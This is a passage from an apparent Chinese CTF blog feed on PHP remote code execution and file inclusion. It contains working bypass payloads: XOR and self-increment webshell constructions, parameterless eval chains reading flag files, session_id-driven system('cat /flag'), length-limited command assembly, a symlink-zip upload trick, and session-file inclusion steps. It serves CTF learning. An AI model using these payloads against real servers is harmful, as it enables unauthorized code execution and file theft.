class="line"></span><br><span class="line">    for i in range (0,len(a)): #设置循环范围为（0，a）注：a为未被过滤的字符数量</span><br><span class="line"></span><br><span class="line">        for j in range(i,len(a)): #在上个循环的条件下设置j的范围</span><br><span class="line"></span><br><span class="line">            if(a[i]^a[j]==ord(my[k])):</span><br><span class="line"></span><br><span class="line">                ans1+=chr(a[i]) #ans1=ans1+chr(a[i])</span><br><span class="line"></span><br><span class="line">                ans2+=chr(a[j]) #ans2=ans2+chr(a[j])</span><br><span class="line"></span><br><span class="line">                return;#返回循环语句中，重新寻找第二个k，这里的话就是寻找y对应的两个字符</span><br><span class="line"></span><br><span class="line">for x in range(0,len(mya)): #设置k的范围</span><br><span class="line"></span><br><span class="line">    myfun(x,mya)#引用自定义的函数</span><br><span class="line"></span><br><span class="line">data1=&quot;(&#x27;&quot;+urllib.request.quote(ans1)+&quot;&#x27;^&#x27;&quot;+urllib.request.quote(ans2)+&quot;&#x27;)&quot; #data1等于传入的命令,&quot;+ans1+&quot;是固定格式，这样可以得到变量对应的值，再用&#x27;包裹，这样是变量的固定格式，另一个也是如此，两个在进行URL编码后进行按位与运算，然后得到对应值</span><br><span class="line"></span><br><span class="line">print(data1)</span><br><span class="line"></span><br><span class="line">ans1=&quot;&quot;#对ans1进行重新赋值</span><br><span class="line"></span><br><span class="line">ans2=&quot;&quot;#对ans2进行重新赋值</span><br><span class="line"></span><br><span class="line">for k in range(0,len(myb)):#设置k的范围为(0,len(myb))</span><br><span class="line"></span><br><span class="line">    myfun(k,myb)#再次引用自定义函数</span><br><span class="line"></span><br><span class="line">data2=&quot;(\&quot;&quot;+urllib.request.quote(ans1)+&quot;\&quot;^\&quot;&quot;+urllib.request.quote(ans2)+&quot;\&quot;)&quot;</span><br><span class="line"></span><br><span class="line">print(data2)</span><br></pre></td></tr></table></figure><p><img src="/images/rce/pasted-image-20260215190842.png"></p><h3 id="自增"><a href="#自增" class="headerlink" title="自增"></a>自增</h3><p>直接拼接个空</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">&lt;?php</span><br><span class="line">$_=[].&#x27;&#x27;;</span><br><span class="line">var_dump($_);成功获取到了字符`Array`</span><br></pre></td></tr></table></figure><p>然后我们获取想获取A的话，就可以采用<code>$_[0]</code>这种方式来获取，但我们是不能够写数字的，所以我们这里可以用一个判断,比如我们在<code>[]</code>里加一个<code>==$</code>，此时因为<code>空</code>和<code>$</code>不同，它就会输出<code>0</code>，此时也就等同于<code>$_[0]</code>，具体实现代码如下</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">&lt;?php</span><br><span class="line">$_=[];</span><br><span class="line">$_=$_[&#x27;&#x27;==&#x27;$&#x27;];</span><br><span class="line">echo $_;</span><br></pre></td></tr></table></figure><p>或者<br><img src="/images/rce/pasted-image-20260307065339.png"><br>构造<code>$_GET[1]($_GET[0])</code>，这个时候我们就可以<code>system(ls)</code>这种命令的执行</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line">&lt;?php</span><br><span class="line">$_=[].&#x27;&#x27;;//Array</span><br><span class="line">$_=$_[&#x27;&#x27;==&#x27;$&#x27;];//A</span><br><span class="line">$_++;//B</span><br><span class="line">$_++;//C</span><br><span class="line">$_++;//D</span><br><span class="line">$_++;//E</span><br><span class="line">$__=$_;//E</span><br><span class="line">$_++;//F</span><br><span class="line">$_++;//G</span><br><span class="line">$___=$_;//G</span><br><span class="line">$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;//T</span><br><span class="line">$_=$___.$__.$_;//GET</span><br><span class="line">//var_dump($_);</span><br><span class="line">$_=&#x27;_&#x27;.$_;//_GET</span><br><span class="line">var_dump($$_[_]($$_[__]));</span><br><span class="line">//$_GET[_]($_GET[__])</span><br></pre></td></tr></table></figure><p>接下来就可以尝试去给<code>_</code>和<code>__</code>GET传参，这里我们需要把换行的都去掉，然后进行一次URL编码，因为中间件会解码一次，所以我们构造的payload先变成这样</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$_=[].&#x27;&#x27;;$_=$_[&#x27;&#x27;==&#x27;$&#x27;];$_++;$_++;$_++;$_++;$__=$_;$_++;$_++;$___=$_;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_=$___.$__.$_;$_=&#x27;_&#x27;.$_;$$_[_]($$_[__]);</span><br></pre></td></tr></table></figure><p>而后变成</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">%24_%3D%5B%5D.&#x27;&#x27;%3B%24_%3D%24_%5B&#x27;&#x27;%3D%3D&#x27;%24&#x27;%5D%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24__%3D%24_%3B%24_%2B%2B%3B%24_%2B%2B%3B%24___%3D%24_%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%3D%24___.%24__.%24_%3B%24_%3D&#x27;_&#x27;.%24_%3B%24%24_%5B_%5D(%24%24_%5B__%5D)%3B</span><br></pre></td></tr></table></figure><h2 id="无参RCE"><a href="#无参RCE" class="headerlink" title="无参RCE"></a>无参RCE</h2><h3 id="题目特征"><a href="#题目特征" class="headerlink" title="题目特征"></a>题目特征</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">if(&#x27;;&#x27; === preg_replace(&#x27;/[^\W]+\((?R)?\)/&#x27;, &#x27;&#x27;, $_GET[&#x27;star&#x27;])) &#123; eval($_GET[&#x27;star&#x27;]); &#125;</span><br></pre></td></tr></table></figure><p>原理解释</p><ol><li>它使用正则表达式 <code>/[^\W]+\((?R)?\)/</code> 来匹配并替换掉 <code>$_GET[&#39;star&#39;]</code> 中的某些部分</li><li>如果替换后的结果严格等于 <code>;</code>，则执行 <code>eval($_GET[&#39;star&#39;])</code></li><li>这实际上是一个无参数RCE的场景，因为正则表达式限制了函数调用必须不包含参数</li></ol><p>正则表达式解释：</p><ul><li><code>[^\W]+</code>：匹配一个或多个字母、数字或下划线（即函数名）</li><li><code>\(</code> 和 <code>\)</code>：匹配左右括号</li><li><code>(?R)?</code>：这是递归匹配，允许嵌套的函数调用，例如 <code>a(b())</code> 这样的形式</li><li>整个正则表达式会匹配类似 <code>function()</code> 或 <code>function(anotherFunction())</code> 这样的模式，但不允许 <code>function(&#39;parameter&#39;)</code> 这样的带参数的调用</li></ul><p>所以，这个过滤机制允许的输入形式是：</p><ul><li><code>function()</code></li><li><code>function(anotherFunction())</code></li><li><code>function1(function2(function3()))</code></li></ul><p>而禁止的形式是：</p><ul><li><code>function(&#39;text&#39;)</code></li><li><code>function(123)</code></li><li><code>function($variable)</code></li></ul><p>无参数RCE的核心是：如何在不使用任何字面量参数（如字符串、数字）的情况下，通过函数之间的嵌套调用来构造攻击载荷，最终实现远程代码执行或文件读取。</p><h3 id="相关函数简要介绍："><a href="#相关函数简要介绍：" class="headerlink" title="相关函数简要介绍："></a>相关函数简要介绍：</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line">scandir() :将返回当前目录中的所有文件和目录的列表。返回的结果是一个数组，其中包含当前目录下的所有文件和目录名称（glob()可替换）</span><br><span class="line">localeconv() ：返回一包含本地数字及货币格式信息的数组。（但是这里数组第一项就是‘.’，这个.的用处很大）</span><br><span class="line">current() ：返回数组中的单元，默认取第一个值。pos()和current()是同一个东西</span><br><span class="line">getcwd() :取得当前工作目录</span><br><span class="line">dirname():函数返回路径中的目录部分</span><br><span class="line">array_flip() :交换数组中的键和值，成功时返回交换后的数组</span><br><span class="line">array_rand() :从数组中随机取出一个或多个单元</span><br><span class="line"></span><br><span class="line">array_reverse():将数组内容反转</span><br><span class="line"></span><br><span class="line">strrev():用于反转给定字符串</span><br><span class="line"></span><br><span class="line">getcwd()：获取当前工作目录路径</span><br><span class="line"></span><br><span class="line">dirname() ：函数返回路径中的目录部分。</span><br><span class="line">chdir() ：函数改变当前的目录。</span><br><span class="line"></span><br><span class="line">eval()、assert()：命令执行</span><br><span class="line"></span><br><span class="line">hightlight_file()、show_source()、readfile()：读取文件内容</span><br><span class="line"></span><br><span class="line">举个例子scandir(&#x27;.&#x27;)是返回当前目录,虽然我们无法传参，但是由于localeconv() 返回的数组第一个就是‘.’，current()取第一个值，那么current(localeconv())就能构造一个‘.’,那么以下就是一个简单的返回查看当前目录下文件的payload：</span><br><span class="line"></span><br><span class="line">?参数=var_dump(scandir(current(localeconv())));</span><br><span class="line"></span><br></pre></td></tr></table></figure><h3 id="数组移动"><a href="#数组移动" class="headerlink" title="数组移动"></a>数组移动</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">end() ： 将内部指针指向数组中的最后一个元素，并输出</span><br><span class="line">next() ：将内部指针指向数组中的下一个元素，并输出</span><br><span class="line">prev() ：将内部指针指向数组中的上一个元素，并输出</span><br><span class="line">reset() ： 将内部指针指向数组中的第一个元素，并输出</span><br><span class="line">each() ： 返回当前元素的键名和键值，并将内部指针向前移动</span><br></pre></td></tr></table></figure><h3 id="scandir-文件读取函数"><a href="#scandir-文件读取函数" class="headerlink" title="scandir()文件读取函数"></a>scandir()文件读取函数</h3><p>[GXYCTF 2019]禁止套娃<br>源码</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line"> 1 &lt;?php</span><br><span class="line"> 2 include &quot;flag.php&quot;;</span><br><span class="line"> 3 echo &quot;flag在哪里呢？&lt;br&gt;&quot;;</span><br><span class="line"> 4 if(isset($_GET[&#x27;exp&#x27;]))&#123;</span><br><span class="line"> 5     if (!preg_match(&#x27;/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i&#x27;, $_GET[&#x27;exp&#x27;])) &#123;</span><br><span class="line"> 6         if(&#x27;;&#x27; === preg_replace(&#x27;/[a-z,_]+\((?R)?\)/&#x27;, NULL, $_GET[&#x27;exp&#x27;])) &#123;</span><br><span class="line"> 7             if (!preg_match(&#x27;/et|na|info|dec|bin|hex|oct|pi|log/i&#x27;, $_GET[&#x27;exp&#x27;])) &#123;</span><br><span class="line"> 8                 // echo $_GET[&#x27;exp&#x27;];</span><br><span class="line"> 9                 @eval($_GET[&#x27;exp&#x27;]);</span><br><span class="line">10             &#125;</span><br><span class="line">11             else&#123;</span><br><span class="line">12                 die(&quot;还差一点哦！&quot;);</span><br><span class="line">13             &#125;</span><br><span class="line">14         &#125;</span><br><span class="line">15         else&#123;</span><br><span class="line">16             die(&quot;再好好想想！&quot;);</span><br><span class="line">17         &#125;</span><br><span class="line">18     &#125;</span><br><span class="line">19     else&#123;</span><br><span class="line">20         die(&quot;还想读flag，臭弟弟！&quot;);</span><br><span class="line">21     &#125;</span><br><span class="line">22 &#125;</span><br><span class="line">23 // highlight_file(__FILE__);</span><br><span class="line">24 ?&gt;</span><br></pre></td></tr></table></figure><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">print_r(scandir(current(localeconv())));</span><br></pre></td></tr></table></figure><p><img src="/images/rce/pasted-image-20260215193238.png"></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">?exp=highlight_file(next(array_reverse(scandir(current(localeconv())))));</span><br></pre></td></tr></table></figure><p>通过读取倒数第二个得到flag</p><p>或者</p><blockquote><p>array_rand(): 从数组中取出一个或者多个单元，并且返回随机条目的一个或者多个键。<br>array_flip()：读取当前目录的键和值进行交换，如果失败返回 NULL。</p><p>array_flip()和array_rand()配合使用可随机返回当前目录下的文件名。因为其中的键可以利用随机数函数array_rand()，进行随机生成。</p></blockquote><p>payload:（多发几次，随机返回当前目录下的文件内容，会返回flag的）</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">?var=show_source(array_rand(array_flip(scandir(getcwd()))));</span><br></pre></td></tr></table></figure><h3 id="session-id"><a href="#session-id" class="headerlink" title="session_id()"></a>session_id()</h3><p>使用条件：当请求头中有cookie时（或者走投无路手动添加cookie头也行，有些CTF题不会卡）</p><p>首先我们需要开启session_start()​来保证session_id()的使用，session_id​可以用来获取当前会话ID，也就是说它可以抓取PHPSESSID后面的东西，但是phpsession不允许()出现<br>源码</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">&lt;?php</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">$tgctf2025=$_GET[&#x27;tgctf2025&#x27;];</span><br><span class="line"></span><br><span class="line">if(!preg_match(&quot;/0|1|[3-9]|\~|\`|\@|\#|\\$|\%|\^|\&amp;|\*|\（|\）|\-|\=|\+|\&#123;|\[|\]|\&#125;|\:|\&#x27;|\&quot;|\,|\&lt;|\.|\&gt;|\/|\?|\\\\|localeconv|pos|current|print|var|dump|getallheaders|get|defined|str|split|spl|autoload|extensions|eval|phpversion|floor|sqrt|tan|cosh|sinh|ceil|chr|dir|getcwd|getallheaders|end|next|prev|reset|each|pos|current|array|reverse|pop|rand|flip|flip|rand|content|echo|readfile|highlight|show|source|file|assert/i&quot;, $tgctf2025))&#123;</span><br><span class="line">    //hint：你可以对着键盘一个一个看，然后在没过滤的符号上用记号笔画一下（bushi</span><br><span class="line">    eval($tgctf2025);</span><br><span class="line">&#125;</span><br><span class="line">else&#123;</span><br><span class="line">    die(&#x27;(╯‵□′)╯炸弹！•••*～●&#x27;);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">highlight_file(__FILE__);</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>payload：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">?参数=session_start();system(hex2bin(session_id()));</span><br><span class="line">PHPSESSID=636174202f666c6167     //cat /flag的十六进制</span><br></pre></td></tr></table></figure><h3 id="getallheaders"><a href="#getallheaders" class="headerlink" title="getallheaders()"></a>getallheaders()</h3><p>getallheaders()返回当前请求的所有请求头信息，局限于Apache（apache_request_headers()和getallheaders()功能相似，可互相替代，不过也是局限于Apache）</p><p>当确定能够返回时，我们就能在数据包最后一行加上一个请求头，写入恶意代码，再用end()函数指向最后一个请求头，使其执行，payload：</p><p>var_dump(end(getallheaders()));</p><h3 id="get-defined-vars"><a href="#get-defined-vars" class="headerlink" title="get_defined_vars()"></a>get_defined_vars()</h3><p><strong>特点</strong>：比getallheaders()更具普遍性，可获取所有全局变量。</p><p><strong>工作原理</strong>：</p><ul><li>返回包含所有全局变量的数组，顺序为：<code>$_GET</code> → <code>$_POST</code> → <code>$_COOKIE</code> → <code>$_FILES</code></li><li>通过操作这些变量，可以实现无参数RCE</li></ul><p><strong>利用步骤</strong>：</p><ol><li>首先确认回显：<code>print_r(get_defined_vars())</code></li><li>添加额外参数传递恶意代码：</li></ol><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">a=eval(end(current(get_defined_vars())));&amp;b=system(&#x27;ls /&#x27;);</span><br></pre></td></tr></table></figure><ol start="3"><li>也可将eval替换为assert，同样能执行命令</li></ol><h2 id="长度限制"><a href="#长度限制" class="headerlink" title="长度限制"></a>长度限制</h2><h3 id="7"><a href="#7" class="headerlink" title="7"></a>7</h3><p><img src="/images/rce/pasted-image-20260307070940.png"></p><h3 id="5"><a href="#5" class="headerlink" title="5"></a>5</h3><p><img src="/images/rce/pasted-image-20260307072922.png"><br><img src="/images/rce/pasted-image-20260307073739.png"></p><h3 id="4"><a href="#4" class="headerlink" title="4"></a>4</h3><p><img src="/images/rce/pasted-image-20260307075126.png"><br><img src="/images/rce/pasted-image-20260307075156.png"><br><img src="/images/rce/pasted-image-20260307075620.png"></p><h3 id="：linux中的-符号和-符号"><a href="#：linux中的-符号和-符号" class="headerlink" title="：linux中的 &gt; 符号和 &gt;&gt; 符号"></a>：linux中的 &gt; 符号和 &gt;&gt; 符号</h3><p>1.通过&gt;来创建文件</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">&gt;test.txt</span><br><span class="line">ls</span><br></pre></td></tr></table></figure><p>2.通过&gt;将命令执行的结果存入文件中</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">echo &quot;hello world&quot;&gt;test</span><br></pre></td></tr></table></figure><p>但是通过&gt;来将命令执行结果写入文件会覆盖掉文件原本的内容，如果我们想要在原本文件内容后面追加内容就要使用&gt;&gt;</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">echo &quot;aaa&quot;&gt;test</span><br><span class="line">cat test</span><br><span class="line">echo &quot;bbb&quot;&gt;&gt;test</span><br><span class="line">cat test</span><br></pre></td></tr></table></figure><h3 id="linux中命令换行"><a href="#linux中命令换行" class="headerlink" title="linux中命令换行"></a>linux中命令换行</h3><p>在linux中，当我们执行文件中的命令的时候，我们通过在没有写完的命令后面加 “&quot;，可以将一条命令写在多行<br>比如我们有一个test文件内容如下：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">ec\</span><br><span class="line">ho \</span><br><span class="line">hello \</span><br><span class="line">world!</span><br></pre></td></tr></table></figure><p>然后我们用sh命令来执行一下：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">sh test</span><br></pre></td></tr></table></figure><p>成功输出了 hello world!</p><h3 id="ls-t命令"><a href="#ls-t命令" class="headerlink" title="ls -t命令"></a>ls -t命令</h3><p>在linux中，我们使用ls -t命令后，可以将文件名按照时间顺序排列出来（后创建的排在前面）</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">touch a</span><br><span class="line">touch b</span><br><span class="line">touch c</span><br><span class="line">ls -t</span><br></pre></td></tr></table></figure><p>结果c b a</p><h3 id="利用ls-t-和-以及换行符-绕过长度限制执行命令"><a href="#利用ls-t-和-以及换行符-绕过长度限制执行命令" class="headerlink" title="利用ls -t 和 &gt; 以及换行符 绕过长度限制执行命令"></a>利用ls -t 和 &gt; 以及换行符 绕过长度限制执行命令</h3><p>我们先看执行如下命令的结果：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">ls -t&gt;test</span><br><span class="line">cat test</span><br></pre></td></tr></table></figure><p>ls -t 命令列出文件名，然后每个文件名按行储存，如果我们将我们要执行的命令拆分为多个文件名，然后再结合命令换行，然后通过 ls -t &gt; test这样的方式再写入某个文件来运行不就可以绕过命令长度限制了吗，而且从上面我们可以看出，ls -t&gt;test的执行顺序是先创建文件test，然后执行ls -t，然后将执行结果写入test文件<br>我们可以做如下小实验：<br>比如我们要执行 echo hello world</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">&gt; &quot;rld&quot;</span><br><span class="line">&gt; &quot;wo\\&quot;</span><br><span class="line">&gt; &quot;llo \\&quot;</span><br><span class="line">&gt; &quot;he\\&quot;</span><br><span class="line">&gt; &quot;echo \\&quot;</span><br><span class="line">ls -t &gt; _</span><br><span class="line">sh _</span><br></pre></td></tr></table></figure><p>  最终成功的输出了 “hello world</p><h2 id="软连接"><a href="#软连接" class="headerlink" title="软连接"></a>软连接</h2><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"># 1. 创建指向网站根目录的软链接</span><br><span class="line">ln -s /var/www/html www_link</span><br><span class="line"></span><br><span class="line"># 2. 压缩软链接（必须用 -y 或 --symlinks）</span><br><span class="line">zip -y slink.zip www_link</span><br><span class="line"></span><br><span class="line"># 3. 删除软链接，创建同名目录（用于第二步上传木马）</span><br><span class="line">rm www_link</span><br><span class="line">mkdir www_link</span><br><span class="line">echo &quot;&lt;PHP_WEB_SHELL_PAYLOAD_OMITTED_FOR_SAFETY&gt;&quot; &gt; www_link/shell.php</span><br><span class="line"></span><br><span class="line"># 4. 压缩目录（覆盖之前的软链接）</span><br><span class="line">zip -r shell.zip www_link</span><br><span class="line"></span><br><span class="line"># 5. 先传 slink.zip，再传 shell.zip</span><br><span class="line"># 解压后 shell.php 实际落在 /var/www/html/shell.php</span><br></pre></td></tr></table></figure>]]>
    </content>
    <id>https://worny666.github.io/2026/07/02/RCE/</id>
    <link href="https://worny666.github.io/2026/07/02/RCE/"/>
    <published>2026-07-02T14:00:00.000Z</published>
    <summary>
      <![CDATA[<blockquote>
<p>安全声明：本文仅用于 CTF 学习与授权环境复现。</p>
</blockquote>
<h1 id="RCE"><a href="#RCE" class="headerlink" title="RCE"></a>RCE</h1><h2 id="命]]>
    </summary>
    <title>RCE</title>
    <updated>2026-07-02T19:15:28.893Z</updated>
  </entry>
  <entry>
    <author>
      <name>worny</name>
    </author>
    <category term="CTF" scheme="https://worny666.github.io/categories/CTF/"/>
    <category term="Web安全" scheme="https://worny666.github.io/tags/Web%E5%AE%89%E5%85%A8/"/>
    <category term="文件包含" scheme="https://worny666.github.io/tags/%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB/"/>
    <content>
      <![CDATA[<blockquote><p>安全声明：本文仅用于 CTF 学习与授权环境复现。<br>可直接运行的 PHP shell 示例已替换为 <code>&lt;PHP_WEB_SHELL_PAYLOAD_OMITTED_FOR_SAFETY&gt;</code>。<br>对应十六进制 PHP payload 已替换为 <code>&lt;HEX_ENCODED_PHP_PAYLOAD_OMITTED_FOR_SAFETY&gt;</code>。<br>文中的危险脚本文件名发布时统一改为 <code>output.txt</code>，避免触发杀软或被误用为可执行脚本。</p></blockquote><h1 id="文件包含"><a href="#文件包含" class="headerlink" title="文件包含"></a>文件包含</h1><h3 id="介绍"><a href="#介绍" class="headerlink" title="介绍"></a>介绍</h3><p>常用的文件包含函数有以下四种<br>include(),require(),include_once(),require_once()</p><p>区别如下:</p><p>require():找不到被包含的文件会产生致命错误，并停止脚本运行<br>include():找不到被包含的文件只会产生警告，脚本继续执行<br>require_once()与require()类似:唯一的区别是如果该文件的代码已经被包含，则不会再次包含<br>include_once()与include()类似:唯一的区别是如果该文件的代码已经被包含，则不会再次包含</p><p><strong>include()函数并不在意被包含的文件是什么类型，只要有php代码，都会被解析出来</strong></p><h3 id="session文件包含"><a href="#session文件包含" class="headerlink" title="session文件包含"></a>session文件包含</h3><p>php的session文件的保存路径可以在phpinfo的session.save_path看到</p><h4 id="介绍-1"><a href="#介绍-1" class="headerlink" title="介绍"></a>介绍</h4><p>Session文件包含是<strong>本地文件包含(LFI)漏洞的高级利用方式</strong>，攻击者通过：</p><ul><li>向Session文件中注入恶意PHP代码</li><li>利用文件包含漏洞执行这些代码</li><li>获得服务器控制权或读取敏感信息</li></ul><h4 id="利用"><a href="#利用" class="headerlink" title="利用"></a>利用</h4><p><strong>满足两个条件：</strong><br>1.Session文件的内容可控，即攻击者可以通过某种方式将恶意代码写入Session文件中。<br>2.能够获取Session文件的路径，这样才能通过文件包含函数来执行Session文件中的代码</p><h4 id="WP"><a href="#WP" class="headerlink" title="WP"></a>WP</h4><p>先查看 &#x2F;etc&#x2F;passwd<br>得到<br><img src="/images/file-include/pasted-image-20260116175917.png" alt="pasted image 20260116175917"><br>分析<br>1.系统类型线索：&#x2F;bin&#x2F;ash</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">root:x:0:0:root:/root:/bin/ash</span><br></pre></td></tr></table></figure><ul><li><strong>重要发现</strong>：root用户使用的是<code>/bin/ash</code>，而不是常见的<code>/bin/bash</code></li><li><strong>为什么重要</strong>：这是<strong>Alpine Linux的标志性特征</strong>！</li><li><strong>类比理解</strong>：就像看到某人用iPhone而不是Android，就能猜出他用的是苹果生态系统</li></ul><p> 2.Alpine Linux的Session存储规则</p><table><thead><tr><th>系统类型</th><th>Session默认路径</th></tr></thead><tbody><tr><td>Ubuntu&#x2F;Debian</td><td><code>/var/lib/php/sessions/</code></td></tr><tr><td>CentOS&#x2F;RHEL</td><td><code>/var/lib/php/session/</code></td></tr><tr><td><strong>Alpine Linux</strong></td><td><strong><code>/tmp/</code></strong></td></tr><tr><td>Windows</td><td><code>C:\Windows\Temp\</code></td></tr><tr><td><strong>所以推测默认路径是&#x2F;tmp&#x2F;</strong></td><td></td></tr><tr><td>再读取</td><td></td></tr></tbody></table><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">/?file=php://filter/convert.base64-encode/resource=action.php</span><br></pre></td></tr></table></figure><p>得到一串字符，base64解码</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">&lt;PHP_WEB_SHELL_PAYLOAD_OMITTED_FOR_SAFETY&gt;</span><br><span class="line">&lt;!DOCTYPE html&gt;</span><br><span class="line">&lt;html&gt;</span><br><span class="line">&lt;head&gt;</span><br><span class="line">&lt;/head&gt;</span><br><span class="line">&lt;body&gt;</span><br><span class="line">&lt;a href=action.php?file=1.txt&gt;my dairy&lt;/a&gt;</span><br><span class="line">&lt;a href=action.php?file=2.txt&gt;my booklist&lt;/a&gt;</span><br><span class="line">&lt;/body&gt;</span><br><span class="line">&lt;/html&gt;</span><br></pre></td></tr></table></figure><p>抓包看cookie<br><img src="/images/file-include/pasted-image-20260116183349.png" alt="pasted image 20260116183349"><br>进入session文件了<br><img src="/images/file-include/pasted-image-20260116181852.png" alt="pasted image 20260116181852"><br>蚁剑连接<br><img src="/images/file-include/pasted-image-20260116183733.png" alt="pasted image 20260116183733"></p><h4 id="条件竞争"><a href="#条件竞争" class="headerlink" title="条件竞争"></a>条件竞争</h4><p>题目</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span 